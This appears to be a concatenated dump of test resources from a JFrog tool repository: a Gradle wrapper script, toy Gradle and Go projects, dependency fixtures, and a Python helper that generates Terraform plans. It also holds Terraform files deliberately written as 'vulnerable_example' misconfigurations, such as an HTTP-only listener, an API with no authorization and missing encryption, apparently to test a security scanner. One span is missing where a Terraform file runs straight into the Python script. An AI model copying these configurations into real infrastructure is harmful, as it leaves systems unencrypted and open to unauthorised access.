DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" @rem Find java.exe if defined JAVA_HOME goto findJavaFromJavaHome set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute echo. echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. echo. echo Please set the JAVA_HOME variable in your environment to match the echo location of your Java installation. goto fail :findJavaFromJavaHome set JAVA_HOME=%JAVA_HOME:"=% set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute echo. echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% echo. echo Please set the JAVA_HOME variable in your environment to match the echo location of your Java installation. goto fail :execute @rem Setup the command line set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar @rem Execute Gradle "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* :end @rem End local scope for the variables with windows NT shell if %ERRORLEVEL% equ 0 goto mainEnd :fail rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of rem the _cmd.exe /c_ return code! set EXIT_CODE=%ERRORLEVEL% if %EXIT_CODE% equ 0 set EXIT_CODE=1 if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% exit /b %EXIT_CODE% :mainEnd if "%OS%"=="Windows_NT" endlocal :omega ================================================ FILE: src/test/resources/gradle/wrapper/services/build/moduleInfo.json ================================================ { "type" : "gradle", "id" : "org.jfrog.test.gradle.publish:services:1.0-SNAPSHOT", "repository" : "", "artifacts" : [ ], "excludedArtifacts" : [ ], "dependencies" : [ ] } ================================================ FILE: src/test/resources/gradle/wrapper/services/webservice/build.gradle ================================================ apply plugin: 'war' dependencies { implementation project(':shared'), 'commons-collections:commons-collections:3.2@jar', 'commons-io:commons-io:1.2', 'commons-lang:commons-lang:2.4@jar' implementation group: 'org.apache.wicket', name: 'wicket', version: '1.3.7' implementation project(':api') } ================================================ FILE: src/test/resources/gradle/wrapper/services/webservice/src/main/java/org/gradle/webservice/TestTest.java ================================================ /* * Copyright (C) 2011 JFrog Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.webservice; import org.apache.commons.collections.list.GrowthList; import org.apache.commons.io.FilenameUtils; import org.apache.commons.lang.builder.ToStringBuilder; import org.gradle.api.PersonList; import org.gradle.shared.Person; public class TestTest { private String name; public void method() { FilenameUtils.separatorsToUnix("my/unix/filename"); ToStringBuilder.reflectionToString(new Person("name")); new GrowthList(); new PersonList().doSomethingWithImpl(); // compile with api-spi, runtime with api } } ================================================ FILE: src/test/resources/gradle/wrapper/services/webservice/src/test/java/org/gradle/webservice/TestTestTest.java ================================================ /* * Copyright 2007 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.webservice; import junit.framework.TestCase; /** * @author Hans Dockter */ public class TestTestTest extends TestCase { public void testClasspath() { new TestTest().method(); } public void testApiCompileClasspath() { new org.gradle.api.PersonList(); } } ================================================ FILE: src/test/resources/gradle/wrapper/settings.gradle ================================================ include "shared", "api", "services:webservice" ================================================ FILE: src/test/resources/gradle/wrapper/shared/src/main/java/org/gradle/shared/Person.java ================================================ /* * Copyright (C) 2011 JFrog Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.shared; import java.io.IOException; import java.util.Properties; public class Person { private String name; public Person(String name) { this.name = name; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String readProperty() throws IOException { Properties properties = new Properties(); properties.load(getClass().getClassLoader().getResourceAsStream("org/gradle/shared/main.properties")); return properties.getProperty("main"); } } ================================================ FILE: src/test/resources/gradle/wrapper/shared/src/main/java/org/gradle/shared/package-info.java ================================================ /* * Copyright (C) 2011 JFrog Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * These are the shared classes. */ package org.gradle.shared; ================================================ FILE: src/test/resources/gradle/wrapper/shared/src/main/resources/org/gradle/shared/main.properties ================================================ # # Copyright (C) 2011 JFrog Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # main=mainValue ================================================ FILE: src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_alb_https_only.tf ================================================ resource "aws_lb_listener" "vulnerable_example" { load_balancer_arn = "arn:aws:iam::123456789012:user/johndoe" port = "443" protocol = "HTTP" ssl_policy = "ELBSecurityPolicy-2016-08" certificate_arn = "arn:aws:iam::187416307283:server-certificate/test_cert_rab3wuqwgja25ct3n4jdj2tzu4" default_action { type = "forward" target_group_arn = "arn:aws:iam::123456789012:user/johndoe" } } ================================================ FILE: src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_api_gateway_auth.tf ================================================ resource "aws_api_gateway_method" "vulnerable_method" { rest_api_id = "dummy" resource_id = "dummy" http_method = "GET" authorization = "NONE" } ================================================ FILE: src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_api_gateway_encrypt_cache.tf ================================================ resource "aws_api_gateway_method_settings" "vulnerable_example" { rest_api_id = "dummy" method_path = "dummy" stage_name = "dummy" settings { caching_enabled = true } } ================================================ FILE: src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_api_gateway_tls_version.tf ================================================ resource "aws_api_gateway_domain_name" "vulnerable_example" { domain_name = "dummy" # security_policy is not set } ================================================ FILE: src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_athena_encrypt.tf ================================================ resource "aws_athena_database" "vulnerable_example" { name = "dummy" # encryption_configuration is not set } ================================================ FILE: src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_athena_encrypt_workgroup.tf ================================================ resource "aws_athena_workgroup" "vulnerable_example" { name = "dummy" # encryption_configuration is not set } ================================================ FILE: src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_batch_no_privileged.tf ================================================ resource "aws_batch_job_definition" "vulnerable_example" { name = "tf_test_batch_job_definition" type = "container" container_properties = < {plan_filepath}", shell=True) # Cleanup os.unlink(os.path.basename(hcl_filepath)) os.unlink(PLAN_BINFILE) def main(hcl_dirpath: str, plan_dirpath: str): # Create output dir & move to it if not os.path.isdir(TMPDIR): os.mkdir(TMPDIR) hcl_dirpath = os.path.realpath(hcl_dirpath) plan_dirpath = os.path.realpath(plan_dirpath) curdir = os.getcwd() os.chdir(TMPDIR) # Handle each plan file for outdir in TESTDIRS: hcl_test_dirpath = os.path.join(hcl_dirpath, outdir) for hcl_filename in os.listdir(hcl_test_dirpath): plan_filename = os.path.splitext(hcl_filename)[0] + ".json" plan_filepath = os.path.join(plan_dirpath, outdir, plan_filename) hcl_filepath = os.path.join(hcl_test_dirpath, hcl_filename) handle_hcl_file(hcl_filepath, plan_filepath) # Cleanups os.chdir(curdir) os.rmdir(TMPDIR) print("!!!DONE!!!") if "__main__" == __name__: typer.run(main) ================================================ FILE: src/test/resources/inspections/build.gradle.kts ================================================ val spi: Configuration by configurations.creating dependencies { implementation(project(":project")) compile("a:b:c") testCompile("d", "e", "f") } // Just a smoke test that using this option does not lead to any exception tasks { named("compileJava") { options.compilerArgs = listOf("-Xlint:unchecked") } } ================================================ FILE: src/test/resources/inspections/build.groovy ================================================ plugins { id 'java' } repositories { jcenter() } dependencies { implementation 'a:b:c' implementation group: "d", name: "e", version: "f" implementation 'g:h:i', 'j:k:l' implementation("m:n:o") { exclude module: "p" } implementation( [group: 'net.lingala.zip4j', name: 'zip4j', version: '2.3.0'], ['org.codehaus.groovy:groovy-all:3.0.5'] ) compile fileTree(dir: "${gradle.gradleHomeDir}/lib/plugins", include: '**/*.jar') } ================================================ FILE: src/test/resources/inspections/go.mod ================================================ module github.com/jfrog/inspectionTest require ( github.com/jfrog/gocmd v0.1.12 github.com/jfrog/gofrog v1.0.5 github.com/jfrog/gogopowerrangers v1.2.3 ) replace github.com/jfrog/gocmd => github.com/jfrog/gocmd v0.1.10 go 1.13 ================================================ FILE: src/test/resources/inspections/package.json ================================================ { "name": "test", "version": "1.1.1", "dependencies": { "a": "b", "c": "^d" }, "devDependencies": { "a": "b" } } ================================================ FILE: src/test/resources/inspections/pom.xml ================================================ 4.0.0 org.jfrog.test multi 3.7-SNAPSHOT pom Simple Multi Modules Build a b c d e f g h i 3.3.9 ================================================ FILE: src/test/resources/projects/project1/go.mod ================================================ module project1 go 1.13 require ( github.com/jfrog/jfrog-cli-core v1.9.0 github.com/jfrog/jfrog-client-go v0.26.1 // indirect ) ================================================ FILE: src/test/resources/projects/project1/main.go ================================================ package project1 import ( "github.com/jfrog/jfrog-cli-core/artifactory/commands/curl" "github.com/jfrog/jfrog-cli-core/common/commands" ) func main() { curl.NewRtCurlCommand(commands.CurlCommand{}) } ================================================ FILE: src/test/resources/projects/project2/go.mod ================================================ module project3 require github.com/test/subproject v0.0.0-00010101000000-000000000000 replace github.com/test/subproject => ./subproject go 1.13 ================================================ FILE: src/test/resources/projects/project2/go.sum ================================================ github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/alcortesm/tgz v0.0.0-20161220082320-9c5fe88206d7/go.mod h1:6zEj6s6u/ghQa61ZWa/C2Aw3RkjiTBOix7dkqa1VLIs= github.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239/go.mod h1:2FmKhYUyUczH0OGQWaF5ceTx0UBShxjsH6f8oGKYe2c= github.com/buger/jsonparser v0.0.0-20180910192245-6acdf747ae99/go.mod h1:bbYlZJ7hK1yFx9hf58LP0zeX7UjIGs20ufpu3evjr+s= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dsnet/compress v0.0.1/go.mod h1:Aw8dCMJ7RioblQeTqt88akK31OvO8Dhf5JflhBbQEHo= github.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY= github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o= github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/gliderlabs/ssh v0.1.1/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0= github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo= github.com/jfrog/gocmd v0.1.12 h1:d9X2idilMkuUSgvYy6S6A+/uKsk+DNSdt5/CQIScx7A= github.com/jfrog/gocmd v0.1.12/go.mod h1:SYlgI4BQmgrvV3zpxYia9MHhYe7LQDesCPRvIluJ2Sk= github.com/jfrog/gofrog v1.0.5 h1:pEJmKZ9XgvQH2a8WCqAEeUDSXBCKBMN90QzOiOhBTIs= github.com/jfrog/gofrog v1.0.5/go.mod h1:4Caxvc8B2K1A798G1Ne+SsUICRPPre4GpgcFqj+EXJ8= github.com/jfrog/jfrog-client-go v0.6.2 h1:y9RIwdihquIDhY5M5gbIK+TcIM84sGj88J5GnKvXh1w= github.com/jfrog/jfrog-client-go v0.6.2/go.mod h1:ke22JapdZHvrOGQq3e6aBiYQKHrujI6GPsaKh8gY0DI= github.com/kevinburke/ssh_config v0.0.0-20180830205328-81db2a75821e/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/mholt/archiver v2.1.0+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU= github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/mapstructure v1.0.0/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/nwaples/rardecode v1.0.0/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0= github.com/pelletier/go-buffruneio v0.2.0/go.mod h1:JkE26KsDizTr40EUHkXVtNPvgGtbSNq5BcowyYOWdKo= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pierrec/lz4 v2.3.0+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= github.com/spf13/cast v1.2.0/go.mod h1:r2rcYCSwa1IExKTDiTfzaxqT2FNHs8hODu4LnUfgKEg= github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= github.com/spf13/pflag v1.0.2/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= github.com/spf13/viper v1.2.1/go.mod h1:P4AexN0a+C9tGAnUFNwDMYYZv3pjFuvmeiMyKRaNVlI= github.com/src-d/gcfg v1.3.0/go.mod h1:p/UMsR43ujA89BJY9duynAwIpvqEujIH/jFlfL7jWoI= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/ulikunitz/xz v0.5.6/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8= github.com/xanzy/ssh-agent v0.2.0/go.mod h1:0NyE30eGUDliuLEHJgYte/zncp2zdTStcOnWhgSqHD8= github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8/go.mod h1:HUYIGzjTL3rfEspMxjDjgmT5uz5wzYJKVo23qUhYTos= golang.org/x/crypto v0.0.0-20181001203147-e3636079e1a4/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/net v0.0.0-20180926154720-4dfa2610cdf3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/sys v0.0.0-20180903190138-2b024373dcd9/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180906133057-8cf3aee42992/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/src-d/go-billy.v4 v4.3.0/go.mod h1:tm33zBoOwxjYHZIE+OV8bxTWFMJLrconzFMd38aARFk= gopkg.in/src-d/go-git-fixtures.v3 v3.1.1/go.mod h1:dLBcvytrw/TYZsNTWCnkNF2DSIlzWYqTe3rJR56Ac7g= gopkg.in/src-d/go-git.v4 v4.7.0/go.mod h1:CzbUWqMn4pvmvndg3gnh5iZFmSsbhyhUWdI0IQ60AQo= gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= ================================================ FILE: src/test/resources/projects/project2/main.go ================================================ package project3 import "github.com/test/subproject" func main() { subproject.PrintHello() } ================================================ FILE: src/test/resources/projects/project2/subproject/go.mod ================================================ module github.com/test/subproject require github.com/jfrog/gocmd v0.1.12 go 1.13 ================================================ FILE: src/test/resources/projects/project2/subproject/go.sum ================================================ github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/alcortesm/tgz v0.0.0-20161220082320-9c5fe88206d7/go.mod h1:6zEj6s6u/ghQa61ZWa/C2Aw3RkjiTBOix7dkqa1VLIs= github.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239/go.mod h1:2FmKhYUyUczH0OGQWaF5ceTx0UBShxjsH6f8oGKYe2c= github.com/buger/jsonparser v0.0.0-20180910192245-6acdf747ae99/go.mod h1:bbYlZJ7hK1yFx9hf58LP0zeX7UjIGs20ufpu3evjr+s= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dsnet/compress v0.0.1/go.mod h1:Aw8dCMJ7RioblQeTqt88akK31OvO8Dhf5JflhBbQEHo= github.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY= github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o= github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/gliderlabs/ssh v0.1.1/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0= github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo= github.com/jfrog/gocmd v0.1.12 h1:d9X2idilMkuUSgvYy6S6A+/uKsk+DNSdt5/CQIScx7A= github.com/jfrog/gocmd v0.1.12/go.mod h1:SYlgI4BQmgrvV3zpxYia9MHhYe7LQDesCPRvIluJ2Sk= github.com/jfrog/gofrog v1.0.5 h1:pEJmKZ9XgvQH2a8WCqAEeUDSXBCKBMN90QzOiOhBTIs= github.com/jfrog/gofrog v1.0.5/go.mod h1:4Caxvc8B2K1A798G1Ne+SsUICRPPre4GpgcFqj+EXJ8= github.com/jfrog/jfrog-client-go v0.6.2 h1:y9RIwdihquIDhY5M5gbIK+TcIM84sGj88J5GnKvXh1w= github.com/jfrog/jfrog-client-go v0.6.2/go.mod h1:ke22JapdZHvrOGQq3e6aBiYQKHrujI6GPsaKh8gY0DI= github.com/kevinburke/ssh_config v0.0.0-20180830205328-81db2a75821e/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/mholt/archiver v2.1.0+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU= github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/mapstructure v1.0.0/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/nwaples/rardecode v1.0.0/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0= github.com/pelletier/go-buffruneio v0.2.0/go.mod h1:JkE26KsDizTr40EUHkXVtNPvgGtbSNq5BcowyYOWdKo= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pierrec/lz4 v2.3.0+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= github.com/spf13/cast v1.2.0/go.mod h1:r2rcYCSwa1IExKTDiTfzaxqT2FNHs8hODu4LnUfgKEg= github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= github.com/spf13/pflag v1.0.2/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= github.com/spf13/viper v1.2.1/go.mod h1:P4AexN0a+C9tGAnUFNwDMYYZv3pjFuvmeiMyKRaNVlI= github.com/src-d/gcfg v1.3.0/go.mod h1:p/UMsR43ujA89BJY9duynAwIpvqEujIH/jFlfL7jWoI= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/ulikunitz/xz v0.5.6/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8= github.com/xanzy/ssh-agent v0.2.0/go.mod h1:0NyE30eGUDliuLEHJgYte/zncp2zdTStcOnWhgSqHD8= github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8/go.mod h1:HUYIGzjTL3rfEspMxjDjgmT5uz5wzYJKVo23qUhYTos= golang.org/x/crypto v0.0.0-20181001203147-e3636079e1a4/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/net v0.0.0-20180926154720-4dfa2610cdf3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/sys v0.0.0-20180903190138-2b024373dcd9/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180906133057-8cf3aee42992/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/src-d/go-billy.v4 v4.3.0/go.mod h1:tm33zBoOwxjYHZIE+OV8bxTWFMJLrconzFMd38aARFk= gopkg.in/src-d/go-git-fixtures.v3 v3.1.1/go.mod h1:dLBcvytrw/TYZsNTWCnkNF2DSIlzWYqTe3rJR56Ac7g= gopkg.in/src-d/go-git.v4 v4.7.0/go.mod h1:CzbUWqMn4pvmvndg3gnh5iZFmSsbhyhUWdI0IQ60AQo= gopkg.in/warnings.v0 v0.1.2/go.mod 